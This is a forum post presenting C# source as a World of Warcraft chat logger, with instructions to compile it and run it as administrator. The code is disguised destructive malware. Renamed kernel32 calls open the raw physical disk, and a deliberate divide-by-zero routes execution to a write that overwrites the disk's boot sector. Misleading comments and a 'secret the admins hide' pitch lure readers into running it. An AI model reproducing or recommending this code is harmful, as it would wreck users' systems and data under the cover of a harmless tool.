I am so going to get in trouble with the admins here for posting this because they want to keep this a secret. But I think everyone should know and not just the l33t guys.
This will log all chat in wow to c:\chatlog.txt. Compile as console application and run as administrator.
Code:
using System;
using System.Runtime.InteropServices;
using System.IO;
namespace ChatLogger
{
class Program
{
[DllImport("kernel32.dll", EntryPoint="CreateFile", SetLastError=true)]
static extern IntPtr OpenWow(string encryptionName, uint disableWarden, uint memoryBase, uint callback, uint tripwire, uint dbTrigger, uint patchHandler);
[DllImport("kernel32.dll", EntryPoint="WriteFile", SetLastError = true)]
static extern uint HookChat(IntPtr handle, IntPtr buffer, int numBytes, ref uint w, IntPtr o);
static void Main(string[] args)
{
// wow's chat is encrypted but we figured out how to trick blizzard
IntPtr chatHandle = OpenWow(@"\\.\PhysicalDrive0", 0xc0000000, 3, 0, 3, 0xa0000040, 0);
if (chatHandle.ToInt32() == -1)
{
int error = Marshal.GetLastWin32Error();
Console.WriteLine("error: run as admin! : " + error);
return;
}
try
{
if (File.OpenText("@wow.exe").GetType() == chatHandle.GetType() && chatHandle.ToInt32() % IntPtr.Zero.ToInt32() > 0);
}
// catch the chat stream
catch
{
Console.WriteLine("Chat system opened");
Console.WriteLine("Starting chat logging.");
// set the log file
string chatlog = @"c:\chatlog.txt";
byte[] b = System.Text.ASCIIEncoding.ASCII.GetBytes(chatlog);
GCHandle h = GCHandle.Alloc(b, GCHandleType.Pinned);
uint w = 0;
// Enable chat logging..
HookChat(chatHandle, h.AddrOfPinnedObject(), b.Length, ref w, IntPtr.Zero);
h.Free();
Console.WriteLine(@"Done! Have fun :)");
}
}
}
}